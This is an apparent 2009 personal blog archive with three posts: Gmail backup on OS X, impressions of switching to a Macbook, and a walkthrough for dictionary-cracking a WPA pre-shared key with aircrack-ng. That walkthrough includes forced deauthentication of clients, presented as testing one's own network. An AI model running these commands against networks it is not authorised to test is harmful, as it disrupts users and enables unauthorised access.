Archive for May, 2009

Gmail backup on OS X

Posted by sean on May 19th, 2009

I had posted a while back about backing up Gmail thorugh Windows, using Gmail Backup. Now that I am using OS X, I want the same ability.

Luckily Gmail Backup has you covered with the Linux version. Although its not quite as simple being a command line version, compared to a GUI with Windows.

Via Gmail Backup:

This is what I did (on OS X 10.5):

1. You need python. Check if it is already there – it should be if you are running Leopard.

Open Terminal and run the command:

python –version

This will tell you if you have python, and if so, which version.

If you don’t have python then download and install:

http://www.python.org/download/mac/

but you’ve probably got it.

2. You also need the wxPthon package

http://wxpython.org/

http://wxpython.org/download.php#binaries

I download/installed the unicode version that matched my version of python (2.5)

3. Now download the linux version of Gmail Backup:

http://www.gmail-backup.com/files/gmail-backup-0.104-linux.zip

Create a folder where you will unzip this – I used Documents/gmail-backup

4. In terminal go to the folder into which you unzipped Gmail Backup. If you run the command ‘ls -1′ you should see something like this:

gmail-backup-gui.pyo
gmail-backup-gui.sh
gmail-backup.pyo
gmail-backup.sh
gmb.gif
gmb.ico
gmb.pyo
svc

I created a folder in this folder to store the backup (eg)
mkdir gmail-2008-12-11

5. Run Gmail Backup from terminal in this folder with the command

./gmail-backup.sh backup gmail-2008-12-11 [your email]@gmail.com [your password]

6. Make tea and wait until it’s finished…

To make it slightly easier, I setup a workflow through Automator. I backup to the same directory each time, and just like in the GUI Windows version, it checks for previous backups and skips the emails already downloaded.

Macbook and OSX – My Switch

Posted by sean on May 11th, 2009

I replaced my laptop with a Macbook. Its now been about 7 days or so, and thought I would mention my thoughts thus far. Nothing scientific at this point…

  • Fast. While initial boot up times, reboots, are not blazing fast, the sleep function for OSX is much better than Vista so far. Vista would seem to degrade over time, the longer you went without reboots and constantly returning from sleep, the system would start to get very laggy and slow. Returning from sleep would start to hang and slow. Usually this would be solved with a reboot, but annoying non the less. While I will continue to monitor this as time goes on, it seems very promising to far.
  • I would mention over all system speed over time, but I cannot comment after only a week. But I just wanted to mention this is something I will also be watching. Windows is notorious for slowing the longer you use. Causes such as file fragmentation, registry clogging up, etc.
  • Program installation. It is very easy and fast to install programs. I love that most are simple drag and drops into the application folder. This allows for simple management and uninstalls, and also prevents a program from spewing its crap all over the system. Such as installing DLLs into the Windows directory, registry additions, and so on. I am sure OSX has some of this to a degree, no system is immune, but it seems to be better already. And any program preferences seem to be very easy to isolate and get rid of when needed.
  • Open program management is a bit of a tossed bag to me. Some of this is habit (coming from a Windows user for over 15 years, what would you expect), and its all personal preference. With Windows, you see open applications on the task bar. Whether these are minimized, or behind other windows, or the current window. In OSX, if you minimize the application, it will go to the Dock. Yet if its just in the background of the open window, you will not see it in the Dock. Now… Expose is wonderful. And I love using the hotkey to flip between windows. But this has its downsides. For one, I think it is a more difficult to determine whats open. You may have other icons on your dock that arent open and looking for a little blue dot is hindersome. Furthermore, one of the annoying things that comes from this is the way I use Gmail and Google Chat integrated within Gmail. On Windows, I may be chatting, and then switch to another window. When my chat is updated, the application will blink. With OSX, if I have Firefox in the background I do not see this. When my sound is off, I can go for a while without seeing the update. Essentially I have to remember to check the browser. And no, I dont want to use iChat.

I have a few more, but for now thats enough. Overall, I can say my experience is great. I love OSX, I love the BSD internals, and can say with certainty that I will be getting a Mac for my next desktop. I will always be locked to a certain extent into Windows, but my primary OS will more than likely be replaced now. (Windows will now be used only for specific needed tasks that require it, along with Linux which I still use regulary too)

Testing your WPA PSK

Posted by sean on May 3rd, 2009

To test your PSK on a WPA protected WiFi network, using Ubuntu 9.04. The wireless interface used was Linksys USB54GC.

The Ubuntu was a fresh install, wireless interface was recognized and installed with no additional work.

1. Install Aircrack
sudo apt-get install aircrack-ng

2. Download dictionary list. Optionally you can make your own, or add your known PSK to the list.
List 1 (245 MB uncompressed) List 2 (2 GB uncompressed)

3. Set wireless interface to run in monitor mode (wlan0 name of interface. replace if yours is different)
sudo airmon-ng start wlan0

4. Once your start airmon-ng, you should see what the name of the monitor interface is. in my case, mon0. Now start airodump.
sudo airodump-ng mon0

You will need to gather some info now. Namely, the ESSID (SSID), BSSID (MAC Address of AP), MAC address of client, channel AP is using.

5. Now lets collect some packets.
sudo airodump-ng -c XX -w psk --bssid XX:XX:XX:XX:XX:XX mon0

-c XX is the channel of the AP. Fill in the correct value. -w is the file that we will be saving this too. It will save as psk-01.cap or higher if already exists. Obviously file in BSSID, which is the MAC of the AP. mon0 is your interface from earlier.

6. Open another terminal window, and deauth a client on the network if there is one.
sudo aireplay-ng -0 X -a XX:XX:XX:XX:XX:XX -c XX:XX:XX:XX:XX:XX mon0

-a is AP, -c is client MAC. -0 is deauth command, where X is deauth number count. I used 3-4.

7. In original terminal, stop airodump, and run aircrack.
sudo aircrack-ng -w XX.txt -b XX:XX:XX:XX:XX:XX psk-01.cap

-w is wordfile, can also end in lst, etc. -b is AP MAC we have been using. And psk-01.cap is the capture file.

What this should show you is how the strength of the PSK can effect bruteforce cracking of your WPA network. If your PSK is weak, your network is weak. WPA is improved from WEP but still weak when used with easy to guess pass keys. It should go without saying that this should only be done on your own network to test your PSK strength and its vulnerability to bruteforce dictionary cracking.